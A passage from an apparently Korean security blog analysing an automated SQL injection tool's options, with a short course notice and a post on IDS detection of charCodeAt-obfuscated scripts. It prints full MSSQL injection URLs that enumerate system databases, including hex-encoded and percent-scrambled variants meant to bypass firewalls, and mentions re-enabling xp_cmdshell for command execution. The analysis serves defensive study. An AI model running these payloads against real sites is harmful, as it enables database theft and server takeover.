/board_view.asp?num=%31%36%20%61%6e%64%20%28%73%65%6c%65%63%74%20%74%6f%70%20%31%20%63%61%73%74%28%5b%6e%61%6d%65%5d%20%61%73%20%6e%76%61%72%63%68%61%72%28%35%30%30%29%29%2b%63%68%61%72%28%39%34%29%20%66%72%6f%6d%20%5b%6d%61%73%74%65%72%5d%2e%5b%64%62%6f%5d%2e%5b%73%79%73%64%61%74%61%62%61%73%65%73%5d%20%77%68%65%72%65%20%5b%64%62%69%64%5d%20%69%6e%20%28%73%65%6c%65%63%74%20%74%6f%70%20%31%20%5b%64%62%69%64%5d%20%66%72%6f%6d%20%5b%6d%61%73%74%65%72%5d%2e%5b%64%62%6f%5d%2e%5b%73%79%73%64%61%74%61%62%61%73%65%73%5d%20%6f%72%64%65%72%20%62%79%20%5b%64%62%69%64%5d%20%64%65%73%63%29%29%3E%30%2d%2d


모든 문자열을 헥사값으로 바꿔서 쿼리를 날립니다. 뭐 결국 디코딩하면 위에서 보셨던 쿼리랑 동일한 쿼리가 나오겠지만요..


Enable BT Model (bypass firewall)

언어를 한글로 바꾸면 "변태모드"라고 나옵니다. -_-;;

/board_view.asp?num=16%20an%d%20(se%l%e%c%t%20to%p%201%20ca%st([name]%20as%20nvarch%ar(500))%2bch%ar(94)%20fr%om%20[master].[dbo].[sysdatabases]%20wh%ere%20[dbid]%20in%20(se%l%e%c%t%20to%p%201%20[dbid]%20fr%om%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid]%20desc))%3E0--

중간중간에 %를 마구잡이로 집어 넣어서 쿼리를 날립니다. 그래서 변태모드인가 봅니다.


Stop after error happens(access data)

/board_view.asp?num=16%20and%20(select%20top%201%20cast([name]%20as%20nvarchar(500))%2bchar(94)%20from%20[master].[dbo].[sysdatabases]%20where%20[dbid]%20in%20(select%20top%201%20[dbid]%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid]%20desc))%3E0--

기본 옵션인 Auto-analyzing keyword와 동일하게 공백을 %20으로 만들어서 보냅니다. 옵션 이름으로 해석하면 데이터 접근시 에러가 발생하면 멈추라는 옵션인 듯 한데 어떤 에러에서 멈추라는 의미인지 확인을 못했습니다. 제가 테스트한 서버에서는 계속 타입 불일치로 500 에러를 내면서 계속 결과를 받아왔습니다. 이 결과로 보아 원하는 값을 계속 가져올 수 없는 에러가 발생할 때 멈추라는 것으로 생각할 수 있겠습니다.


Auto check record count of tables

/board_view.asp?num=16%20and%20(select%20top%201%20cast([name]%20as%20nvarchar(500))%2bchar(94)%20from%20[master].[dbo].[sysdatabases]%20where%20[dbid]%20in%20(select%20top%201%20[dbid]%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid]%20desc))%3E0--


다른 기능들은 그냥 한번 써보시면 어떤 기능인지 대충 감은 잡히실겁니다.
좀 더 자세하게 보고 싶었지만 귀찮아서 여기서 끝낼까 합니다...(별로 한것도 없는데 여기서 끝내냐!!! -_-;;)


한가지 달라졌던건 MSSQL2005에서 xp_cmdshell을 이용해서 명령어를 실행하는 부분이었습니다.
MSSQL2005에서는 xp_cmdshell이 기본적으로 막혀 있기 때문에 다시 활성화시켜야 합니다. 그런데 2.x 버전에서는 DB Type이 MSSQL2005 with Error인 경우 활성화를 시켜도 잘 실행이 되지 않았습니다.

Pro 3.0에서는 Restore xp_cmdshell 옵션이 잘 먹혀서 명령어 실행하는데 문제가 없었습니다.
단, 여전히 이상한건 결과가 한번이 아니라 5번 정도 나온다는것이었습니다.
왜 그런지는 아직 확실히 파악을 못했습니다. -_-


다른 더 많은 기능들에 대한 분석은 나중에 시간내서 차분히 해봐야겠습니다.








Posted by demantos
0xFF small talk2010. 1. 2. 17:57





포렌식 과정 중 하나 들어보고 싶습니다!!

태일이형이 강사로 오시는건 아니겠죠? -_-;;


사이트 개편이 있었나보네요..
아래 사이트 참고~

http://www.kpc.or.kr/education/education_table01.asp?Cate_Code=33&cMenu=menu7&cate_NM=SW공학/정보보안/네트워크



Posted by demantos
0x02 analysis2009. 12. 29. 10:33


이전글에서 보셨던 charCodeAt(i)^1 이외에도 charCodeAt(i)-1 과 같은 형태로 있었습니다.

어쨋든 charCodeAt(i)^1로 치환한 놈들은 charCodeAt(i)^1로 다시 치환하면 원문자열이 나오고
charCodeAt(i)-1로 치환한 놈들은 charCodeAt(i)+1로 다시 치환하면 원문자열이 나옵니다.

그럼 charCodeAt(i)-8로 치환된 문자열은 어떻게 해야 원문자열이 나올까요?




보시는바와 같이 -8을 해서 나온 문자열을 동일한 함수에 다시 +8을 하면 원문자열이 나옵니다.

결국 IDS에 추가할려고 했던 패턴들은 일부만 탐지할 수 있다는 단점을 안고 있습니다.

어떤 수식을 썼냐에 따라서 문자열이 달라질 수 있기 때문이죠..


이 생각도 해봤습니다.

Response에서 charCodeAt으로 탐지를 해볼까...

하지만 이걸로 탐지를 할 경우 오탐율이 높아진다는 단점이 있습니다.

낮은 정탐율이냐 높은 오탐율이냐 중 하나를 고르라면 낮은 정탐율이 낫겠죠..

아무튼 좀 더 생각을 해봐야 할 문제인 듯 합니다.






Posted by demantos